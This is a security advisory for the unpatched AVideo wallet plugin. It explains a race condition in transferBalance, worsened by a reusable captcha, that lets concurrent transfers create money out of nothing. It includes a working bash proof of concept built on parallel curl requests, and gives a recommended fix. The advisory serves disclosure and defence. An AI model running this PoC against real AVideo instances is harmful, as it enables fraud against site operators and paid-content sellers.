GHSA-h54m-c522-h6qr AVideo Vulnerable to Wallet Balance Double-Spend via TOCTOU Race Condition in transferBalance

• Packagist wwbn/avideo: <= 26.0 (no fix yet)

Summary The `transferBalance()` method in `plugin/YPTWallet/YPTWallet.php` contains a Time-of-Check-Time-of-Use (TOCTOU) race condition. The method reads the sender's wallet balance, checks sufficiency in PHP, then writes the new balance — all without database transactions or row-level locking. An attacker with multiple authenticated sessions can send concurrent transfer requests that all read the same stale balance, each passing the balance check independently, resulting in only one deduction being applied while the recipient is credited multiple times. Details The vulnerable code path in `plugin/YPTWallet/YPTWallet.php:450-517`: ```php // Line 473-474: READ - fetch current balance (plain SELECT, no FOR UPDATE) $senderWallet = self::getWallet($fromUserId); $senderBalance = $senderWallet->getBalance(); $senderNewBalance = $senderBalance - $amount; // Line 477: CHECK - verify sufficient funds in PHP if ($senderNewBalance setBalance($senderNewBalance); $senderWalletId = $senderWallet->save(); // Line 497-502: Credit receiver (also plain SELECT + UPDATE) $receiverWallet = self::getWallet($toUserId); $receiverBalance = $receiverWallet->getBalance(); $receiverNewBalance = $receiverBalance + $amount; $receiverWallet->setBalance($receiverNewBalance); $receiverWalletId = $receiverWallet->save(); ``` The `getWallet()` method (`YPTWallet.php:244`) calls `Wallet::getFromUser()` (`Wallet.php:69-84`) which executes a plain `SELECT * FROM wallet WHERE users_id = $users_id` with no `FOR UPDATE` clause. The `save()` method (`Wallet.php:105`) calls `ObjectYPT::save()` (`Object.php:293`) which executes a plain `UPDATE` — no transaction wrapping. Race window: Between the SELECT (step 1) and UPDATE (step 3), all concurrent requests see the same original balance. Each independently computes `original - amount`, passes the check, and writes back. The last writer wins for the sender (only one deduction effective), but the receiver gets credited once per request. Why concurrent requests succeed: PHP's file-based session locking serializes requests per session. However, an attacker can create multiple login sessions (different PHPSESSID cookies) for the same user account. Each session has its own lock and can execute concurrently. Each session needs its own captcha, but the captcha validation in `objects/captcha.php:58-73` compares `$_SESSION['palavra']` without unsetting it after validation, allowing unlimited reuse within each session. Entry point: `plugin/YPTWallet/view/transferFunds.json.php:39` calls `YPTWallet::transferBalance(User::getId(), $_POST['users_id'], $_POST['value'])` — requires only `User::isLogged()` and a valid captcha. PoC ```bash Prerequisites: Attacker has a registered account with $10 wallet balance Accomplice has a registered account (recipient) TARGET="https://target-avideo-instance" ACCOMPLICE_ID=123 # recipient user ID Step 1: Create 5 independent sessions for the same attacker account declare -a SESSIONS declare -a CAPTCHA_ANSWERS for i in $(seq 1 5); do # Login and capture session cookie COOKIE=$(curl -s -c - "$TARGET/objects/login.json.php" \ -d 'user=attacker&pass=attackerpass' | grep PHPSESSID | awk '{print $NF}') # Load captcha to populate $_SESSION['palavra'] curl -s -b "PHPSESSID=$COOKIE" "$TARGET/objects/captcha.php" -o "captcha_$i.png" SESSIONS[$i]=$COOKIE echo "Session $i: $COOKIE — solve captcha_$i.png manually" done Step 2: After solving captchas, fire all 5 transfer requests simultaneously Each requests $10 transfer — all will read balance=$10 concurrently for i in $(seq 1 5); do curl -s -b "PHPSESSID=${SESSIONS[$i]}" \ "$TARGET/plugin/YPTWallet/view/transferFunds.json.php" \ -d "users_id=$ACCOMPLICE_ID&value=10&captcha=${CAPTCHA_ANSWERS[$i]}" & done wait Expected result: • Attacker balance: $0 (last write wins, sets balance to 10-10=0) • Accomplice balance: credited $10 x N successful races (up to $50) • Net money created from nothing: up to $40 ``` Impact An authenticated attacker can exploit this race condition to: • Create wallet balance from nothing: With a $10 balance and N concurrent requests, the recipient can receive up to $10×N while the sender only loses $10. • Bypass pay-per-view charges: Inflate wallet balance, then purchase paid content without real payment. • Bypass subscription fees: Use inflated balance to purchase subscriptions. • Financial integrity compromise: The wallet ledger becomes inconsistent — total balances across all users no longer match total deposits. The attack requires solving one captcha per session (captchas are reusable within a session), creating multiple login sessions, and timing concurrent requests — achievable with basic scripting. Recommended Fix Replace the read-check-write pattern with an atomic database operation using a transaction and row-level locking: ```php public static function transferBalance($fromUserId, $toUserId, $amount, $customDescription = "", $forceTransfer = false) { global $global; // ... existing auth and validation checks ... $amount = floatval($amount); if ($amount autocommit(false); $global['mysqli']->begin_transaction(); try { // Lock sender row and read balance atomically $sql = "SELECT id, balance FROM wallet WHERE users_id = ? FOR UPDATE"; $stmt = $global['mysqli']->prepare($sql); $stmt->bind_param("i", $fromUserId); $stmt->execute(); $result = $stmt->get_result(); $senderRow = $result->fetch_assoc(); $stmt->close(); if (empty($senderRow)) { $global['mysqli']->rollback(); return false; } $senderBalance = floatval($senderRow['balance']); $senderNewBalance = $senderBalance - $amount; if ($senderNewBalance rollback(); return false; } // Atomic deduction $sql = "UPDATE wallet SET balance = ? WHERE id = ? AND balance >= ?"; $stmt = $global['mysqli']->prepare($sql); $stmt->bind_param("did", $senderNewBalance, $senderRow['id'], $amount); $stmt->execute(); if ($stmt->affected_rows === 0) { $global['mysqli']->rollback(); $stmt->close(); return false; } $stmt->close(); // Credit receiver (also locked) $sql = "SELECT id, balance FROM wallet WHERE users_id = ? FOR UPDATE"; $stmt = $global['mysqli']->prepare($sql); $stmt->bind_param("i", $toUserId); $stmt->execute(); $result = $stmt->get_result(); $receiverRow = $result->fetch_assoc(); $stmt->close(); $receiverNewBalance = floatval($receiverRow['balance']) + $amount; $sql = "UPDATE wallet SET balance = ? WHERE id = ?"; $stmt = $global['mysqli']->prepare($sql); $stmt->bind_param("di", $receiverNewBalance, $receiverRow['id']); $stmt->execute(); $stmt->close(); $global['mysqli']->commit(); // ... log entries ... } catch (Exception $e) { $global['mysqli']->rollback(); return false; } finally { $global['mysqli']->autocommit(true); } } ``` Additionally, fix the captcha reuse issue in `objects/captcha.php:58-73` by unsetting `$_SESSION['palavra']` after successful validation: ```php public static function validation($word) { // ... existing checks ... $validation = (strcasecmp($word, $_SESSION["palavra"]) == 0); if ($validation) { unset($_SESSION["palavra"]); // Consume the captcha token } return $validation; } ```